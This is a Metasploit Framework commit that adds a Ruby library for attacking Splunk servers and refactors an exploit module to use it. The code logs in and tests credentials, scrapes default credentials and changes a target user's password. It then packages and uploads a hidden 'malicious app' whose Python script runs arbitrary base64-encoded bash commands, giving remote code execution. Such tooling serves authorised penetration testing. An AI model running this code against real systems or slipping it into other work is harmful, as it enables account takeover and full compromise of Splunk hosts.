Land #18715, Add Splunk library

This commit is contained in:
Spencer McIntyre 2024-03-05 16:17:30 -05:00
commit 9b8b7045ff
No known key found for this signature in database
GPG Key ID: 58101BA0D0D9C987
8 changed files with 376 additions and 146 deletions

View File

@ -0,0 +1,30 @@
# -*- coding: binary -*-
module Msf
class Exploit
class Remote
module HTTP
# This module provides a way of interacting with splunk installations
module Splunk
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Splunk::Apps
include Msf::Exploit::Remote::HTTP::Splunk::Base
include Msf::Exploit::Remote::HTTP::Splunk::Helpers
include Msf::Exploit::Remote::HTTP::Splunk::Login
include Msf::Exploit::Remote::HTTP::Splunk::URIs
include Msf::Exploit::Remote::HTTP::Splunk::Version
def initialize(info = {})
super
register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the splunk application', '/'])
], Msf::Exploit::Remote::HTTP::Splunk
)
end
end
end
end
end
end

View File

@ -0,0 +1,50 @@
# -*- coding: binary -*-
# This module provides a way of interacting with Splunk apps
module Msf::Exploit::Remote::HTTP::Splunk::Apps
# Uploads malicious app to splunk using admin cookie
#
# @param app_name [String] Name of the app to upload
# @param cookie [String] Valid admin's cookie
# @return [Boolean] true on success, false on error
def splunk_upload_app(app_name, cookie)
res = send_request_cgi({
'uri' => splunk_upload_url,
'method' => 'GET',
'cookie' => cookie
})
unless res&.code == 200
vprint_error('Unable to get form state')
return false
end
html = res.get_html_document
data = Rex::MIME::Message.new
# fill the hidden fields from the form: state and splunk_form_key
html.at('[id="installform"]').elements.each do |form|
next unless form.attributes['value']
data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")
end
data.add_part('1', nil, nil, 'form-data; name="force"')
data.add_part(splunk_helper_malicious_app(app_name), 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")
post_data = data.to_s
res = send_request_cgi({
'uri' => splunk_upload_url,
'method' => 'POST',
'cookie' => cookie,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
vprint_error('Error uploading App')
return false
end
true
end
end

View File

@ -0,0 +1,20 @@
# -*- coding: binary -*-
# Splunk base module
module Msf::Exploit::Remote::HTTP::Splunk::Base
# Checks if the site is online and running splunk
#
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running splunk, nil otherwise
def splunk_and_online?
res = send_request_cgi({
'uri' => splunk_url_login
})
return res if res&.body =~ /Splunk/
return nil
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
vprint_error("Error connecting to #{splunk_url_login}: #{e}")
return nil
end
end

View File

@ -0,0 +1,94 @@
# -*- coding: binary -*-
# Module with helper methods for other Splunk module methods
module Msf::Exploit::Remote::HTTP::Splunk::Helpers
# Helper method to get tokens for login
#
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
# @return [String, nil] Post data to use for login
def splunk_helper_extract_token(timeout = 20)
res = send_request_cgi({
'uri' => splunk_url_login,
'method' => 'GET',
'keep_cookies' => true
}, timeout)
unless res&.code == 200
vprint_error('Unable to get login tokens')
return nil
end
"session_id_#{datastore['RPORT']}=#{Rex::Text.rand_text_numeric(40)}; " << res.get_cookies
end
# Helper method to construct malicious app in .tar.gz form
#
# @param app_name [String] Name of app to upload
# @return [Rex::Text] Malicious app in .tar.gz form
def splunk_helper_malicious_app(app_name)
# metadata folder
metadata = <<~EOF
[commands]
export = system
EOF
# default folder
commands_conf = <<~EOF
[#{app_name}]
type = python
filename = #{app_name}.py
local = false
enableheader = false
streaming = false
perf_warn_limit = 0
EOF
app_conf = <<~EOF
[launcher]
author=#{Faker::Name.name}
description=#{Faker::Lorem.sentence}
version=#{Faker::App.version}
[ui]
is_visible = false
EOF
# bin folder
msf_exec_py = <<~EOF
import sys, base64, subprocess
import splunk.Intersplunk
header = ['result']
results = []
try:
proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output = proc.stdout.read()
results.append({'result': base64.b64encode(output).decode('utf-8')})
except Exception as e:
error_msg = 'Error : ' + str(e)
results = splunk.Intersplunk.generateErrorResults(error_msg)
splunk.Intersplunk.outputResults(results, fields=header)
EOF
tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io|
io.write metadata
end
tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io|
io.write commands_conf
end
tar.add_file("#{app_name}/default/app.conf", 0o644) do |io|
io.write app_conf
end
tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io|
io.write msf_exec_py
end
end
tarfile.rewind
tarfile.close
Rex::Text.gzip(tarfile.string)
end
end

View File

@ -0,0 +1,78 @@
# -*- coding: binary -*-
# Module with Splunk login related methods
module Msf::Exploit::Remote::HTTP::Splunk::Login
# performs a splunk login
#
# @param username [String] Username
# @param password [String] Password
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
def splunk_login(username, password, timeout = 20)
# gets cval cookies
cookie = splunk_helper_extract_token(timeout)
if cookie.nil?
vprint_error('Unable to extract login tokens')
return nil
end
cval_value = cookie.match(/cval=([^;]*)/)[1]
# login post, should get back the splunkd_port and splunkweb_csrf_token_port cookies
res = send_request_cgi({
'uri' => splunk_url_login,
'method' => 'POST',
'cookie' => cookie,
'vars_post' =>
{
'username' => username,
'password' => password,
'cval' => cval_value
}
}, timeout)
unless res
vprint_error("FAILED LOGIN. '#{username}' : '#{password}' returned no response")
return nil
end
unless res.code == 303 || (res.code == 200 && res.body.to_s.index('{"status":0}'))
vprint_error("FAILED LOGIN. '#{username}' : '#{password}' with code #{res.code}")
return nil
end
print_good("SUCCESSFUL LOGIN. '#{username}' : '#{password}'")
return cookie << " #{res.get_cookies}"
end
# The free version of Splunk does not require authentication. Instead, it'll log the
# user right in as 'admin'. If that's the case, no point to brute-force, either.
#
# @return [Boolean] true if auth is required, false otherwise
def splunk_is_auth_required?
cookie = splunk_helper_extract_token
res = send_request_raw({
'uri' => splunk_home,
'cookie' => cookie
})
!(res && res.body =~ /Logged in as (.+)/)
end
# Return the default credentials if found
#
# @return [Array, nil] username, password if found, nil otherwise
def splunk_default_creds
p = %r{Splunk's default credentials are </p><p>username: <span>(.+)</span><br />password: <span>(.+)</span>}
res = send_request_raw({ 'uri' => target_uri.path })
user, pass = res.body.scan(p).flatten
return [user, pass] if user && pass
end
# Extract and test the default credentials, if found
#
# @return [String, nil] the session cookies as a single string on successful login, nil otherwise
def splunk_login_with_default_creds
user, pass = splunk_default_creds
splunk_login(user, pass) if user && pass
end
end

View File

@ -0,0 +1,34 @@
# -*- coding: binary -*-
# Module with methods for commonly used splunk URLs
module Msf::Exploit::Remote::HTTP::Splunk::URIs
# Returns the Splunk Login URL
#
# @return [String] Splunk Login URL
def splunk_url_login
normalize_uri(target_uri.path, 'en-US', 'account', 'login')
end
# Returns the Splunk URL for the user's page
#
# @param username [String] username of the account
# @return [String] Splunk user URL
def splunk_user_page(username = nil)
username = datastore['USERNAME'] if username.nil?
normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'authentication', 'users', username)
end
# Returns the URL for splunk home page
#
# @return [String] Splunk home page URL
def splunk_home
normalize_uri(target_uri.path, 'en-US', 'app', 'launcher', 'home')
end
# Returns the URL for splunk upload page
#
# @return [String] Splunk upload page URL
def splunk_upload_url
normalize_uri(target_uri.path, 'en-US', 'manager', 'appinstall', '_upload')
end
end

View File

@ -0,0 +1,56 @@
# -*- coding: binary -*-
# Module to get version of splunk app
module Msf::Exploit::Remote::HTTP::Splunk::Version
# Extracts the Splunk version information using authenticated cookie if available
#
# @param cookie_string [String] Valid cookie if available
# @return [String, nil] Splunk version if found, nil otherwise
def splunk_version(cookie_string = nil)
version = splunk_version_authenticated(cookie_string) if !cookie_string.nil?
return version if version
version = splunk_login_version
return version if version
nil
end
private
# Extracts splunk version from splunk user page using valid cookie
#
# @param cookie_string [String] Valid cookie
# @return [String] Splunk version
def splunk_version_authenticated(cookie_string)
res = send_request_cgi({
'uri' => splunk_user_page,
'vars_get' => {
'output_mode' => 'json'
},
'headers' => {
'Cookie' => cookie_string
}
})
return nil unless res&.code == 200
body = res.get_json_document
body.dig('generator', 'version')
end
# Tries to extract splunk verion from login page
#
# @return [String, nil] Splunk version if found, otherwise nil
def splunk_login_version
res = send_request_cgi({
'uri' => splunk_url_login,
'method' => 'GET'
})
if res
match = res.body.match(/Splunk \d+\.\d+\.\d+/)
return match[0].split[1] if match
end
end
end

View File

@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Splunk
attr_accessor :cookie
@ -99,7 +100,8 @@ class MetasploitModule < Msf::Exploit::Remote
end
def check
splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
self.cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Authentication Failed') unless cookie
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),
@ -161,16 +163,20 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'POST',
'cookie' => cookie,
'vars_post' => {
'splunk_form_key' => cookies_hash['splunkweb_csrf_token_8000']
'splunk_form_key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"]
}
})
end
def exploit
splunk_change_password(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
self.cookie = splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
splunk_upload_app(app_name, datastore['SPLUNK_APP_FILE'])
if splunk_upload_app(app_name, cookie)
vprint_status('Splunk app uploaded successfully')
else
fail_with(Failure::Unknown, 'Failed to upload app')
end
@job_id = execute_command(payload.encoded, { app_name: app_name })
# TODO: distinguish commands that return output and commands that don't
@ -189,7 +195,7 @@ class MetasploitModule < Msf::Exploit::Remote
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000']
'X-Splunk-Form-Key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"]
},
'vars_post' =>
{
@ -212,50 +218,17 @@ class MetasploitModule < Msf::Exploit::Remote
body['data']
end
def splunk_helper_extract_token(uri)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, uri),
'method' => 'GET',
'keep_cookies' => true
})
fail_with(Failure::Unreachable, 'Unable to get token') unless res&.code == 200
"session_id_8000=#{rand_text_numeric(40)}; " << res.get_cookies
end
def splunk_login(username, password)
# gets cval and splunkweb_uid cookies
self.cookie = splunk_helper_extract_token('/en-US/account/login')
# login post, should get back the splunkd_8000 and splunkweb_csrf_token_8000 cookies
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/en-US/account/login'),
'method' => 'POST',
'cookie' => cookie,
'vars_post' =>
{
'username' => username,
'password' => password,
'cval' => cookies_hash['cval']
}
})
fail_with(Failure::UnexpectedReply, 'Unable to login') unless res&.code == 200
cookie << " #{res.get_cookies}"
end
def splunk_change_password(username, password)
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
do_login(username, password) unless cookie
self.cookie ||= splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
fail_with(Failure::NoAccess, 'Authentication Failed') unless cookie
print_status("Changing '#{username}' password to #{password}")
res = send_request_cgi({
'uri' => normalize_uri('/en-US/splunkd/__raw/services/authentication/users/', username),
'method' => 'POST',
'headers' => {
'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000'],
'X-Splunk-Form-Key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"],
'X-Requested-With' => 'XMLHttpRequest'
},
'cookie' => cookie,
@ -277,43 +250,6 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::BadConfig, "The user '#{username}' does not have 'install_app' capability. You may consider to target other user") unless capabilities.include? 'install_apps'
end
def splunk_upload_app(app_name, _file_name)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/en-US/manager/appinstall/_upload'),
'method' => 'GET',
'cookie' => cookie
})
fail_with(Failure::UnexpectedReply, 'Unable to get form state') unless res&.code == 200
html = res.get_html_document
print_status("Uploading file #{app_name}")
data = Rex::MIME::Message.new
# fill the hidden fields from the form: state and splunk_form_key
html.at('[id="installform"]').elements.each do |form|
next unless form.attributes['value']
data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")
end
data.add_part('1', nil, nil, 'form-data; name="force"')
data.add_part(splunk_app, 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")
post_data = data.to_s
res = send_request_cgi({
'uri' => '/en-US/manager/appinstall/_upload',
'method' => 'POST',
'cookie' => cookie,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})
fail_with(Failure::Unknown, 'Error uploading App') unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
print_good("#{app_name} successfully uploaded")
end
# def splunk_fetch_job_output
# res = send_request_cgi({
# 'uri' => normalize_uri(target_uri.path, "/en-US/splunkd/__raw/servicesNS/#{datastore['TARGET_USER']}/#{app_name}/search/jobs/#{@job_id}/results"),
@ -334,74 +270,6 @@ class MetasploitModule < Msf::Exploit::Remote
# Rex::Text.decode_base64(body['results'].first['result'])
# end
def splunk_app
# metadata folder
metadata = <<~EOF
[commands]
export = system
EOF
# default folder
commands_conf = <<~EOF
[#{app_name}]
type = python
filename = #{app_name}.py
local = false
enableheader = false
streaming = false
perf_warn_limit = 0
EOF
app_conf = <<~EOF
[launcher]
author=#{Faker::Name.name}
description=#{Faker::Lorem.sentence}
version=#{Faker::App.version}
[ui]
is_visible = false
EOF
# bin folder
msf_exec_py = <<~EOF
import sys, base64, subprocess
import splunk.Intersplunk
header = ['result']
results = []
try:
proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
output = proc.stdout.read().decode('utf-8')
results.append({'result': base64.b64encode(output.encode('utf-8')).decode('utf-8')})
except Exception as e:
error_msg = f'Error : {str(e)} '
results = splunk.Intersplunk.generateErrorResults(error_msg)
splunk.Intersplunk.outputResults(results, fields=header)
EOF
tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io|
io.write metadata
end
tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io|
io.write commands_conf
end
tar.add_file("#{app_name}/default/app.conf", 0o644) do |io|
io.write app_conf
end
tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io|
io.write msf_exec_py
end
end
tarfile.rewind
tarfile.close
Rex::Text.gzip(tarfile.string)
end
def cookies_hash
cookie.split(';').each_with_object({}) { |name, h| h[name.split('=').first.strip] = name.split('=').last.strip }
end